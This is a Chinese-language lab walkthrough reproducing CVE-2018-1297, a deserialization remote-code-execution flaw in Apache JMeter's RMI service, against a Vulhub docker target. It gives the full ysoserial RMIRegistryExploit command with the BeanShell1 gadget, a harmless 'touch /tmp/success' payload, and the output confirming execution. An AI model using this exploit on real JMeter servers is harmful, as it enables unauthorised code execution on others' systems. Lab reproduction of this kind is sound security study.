

Jmeter RMI 反序列化命令执行漏洞 (CVE-2018-1297)

问题版本:

Apache JMeter 2.x 版本和 3.x 版本中存在安全漏洞。攻击者可利用该漏洞获取 JMeterEngine 的访问权限并发送未授权的代码。

正文:

首先我们搭建环境。Vulhub 目录下, /vulhub-master/jmeter/CVE-2018-1297 使用 docker-compose up -d 启动

```
root@bai-virtual-machine:~/vulhub-master/jmeter/CVE-2018-1297# docker-compose up -d
[+] Running 6/6
# jmeter Pulled
# 3e731ddb7fc9 Already exists
# 47cfa6a79d0 Already exists
# 79fcf5a213c7 Already exists
# efae484ad8e9 Pull complete
# 7b1beca493a6 Pull complete
[+] Running 2/2
# Network cve-2018-1297_default Created
# Container cve-2018-1297-jmeter-1 Started
root@bai-virtual-machine:~/vulhub-master/jmeter/CVE-2018-1297# docker-compose ps
NAME                COMMAND                SERVICE    STATUS    PORTS
cve-2018-1297-jmeter-1  "/bin/sh -c /usr/src..."  jmeter    running   0.0.0.0:1099->1099/tcp, :::1099->1099/tcp
```

这样会开启一个 1099 端口, 我们可以用 nmap 检测一下

```
(root@bai) - [~]
# nmap 192.168.0.110 -p 1099
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-26 23:02 CST
Nmap scan report for 192.168.0.110 (192.168.0.110)
Host is up (0.00026s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry
MAC Address: 00:0C:29:64:29:AD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
```

利用的方式也很简单, 说实话这个 poc 我也没太看明白, 大概就是在对方目录下新建一个文件, 不太懂 Java 的痛。

下面我们的操作是在 kali 中

我们直接下载 <https://github.com/frohoff/ysoserial>

我是下载到本地上传后解压, 然后到目录下, cd 到 poc 目录下, 编译文件

mvn clean package -DskipTests

如果没有会提示你安装 mvn

安装一下即可

然后我们编译好的文件在 target 目录下, 我们到目录下执行命令

java-cpysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryE xploit 你的 IP 1099 BeanShell1 'touch /tmp/success'

我们先不执行, 先到靶机中的 docker 容器的 tmp 中查看文件

docker-compose exec jmeter bash //到 dcoker 容器中

```
root@bai-virtual-machine:~/vulhub-master/jmeter/CVE-2018-1297# docker-compose exec jmeter bash
root@bb4e9d42fe01:/opt/jdk# ls /tmp
hsperfdata_root
```

然后我们到 kali 中执行命令

```
(root@bai) [~/gongju/CVE-2018-1297/target]
# java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.110 1099 BeanShell1 'touch /tmp/success'
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
  java.rmi.AccessException: Registry.Registry.bind disallowed; origin /192.168.0.106 is non-local host
    at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:420)
    at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:268)
    at sun.rmi.transport.Transport$1.run(Transport.java:178)
    at sun.rmi.transport.Transport$1.run(Transport.java:175)
    at java.security.AccessController.doPrivileged(Native Method)
    at sun.rmi.transport.Transport.serviceCall(Transport.java:174)
    at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:557)
    at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:812)
    at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:671)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
```

再到靶机中的 tmp 目录中查看

```
root@bb4e9d42fe01:/opt/jdk# ls /tmp
hsperfdata_root
root@bb4e9d42fe01:/opt/jdk# ls /tmp
hsperfdata_root success
```

成功执行了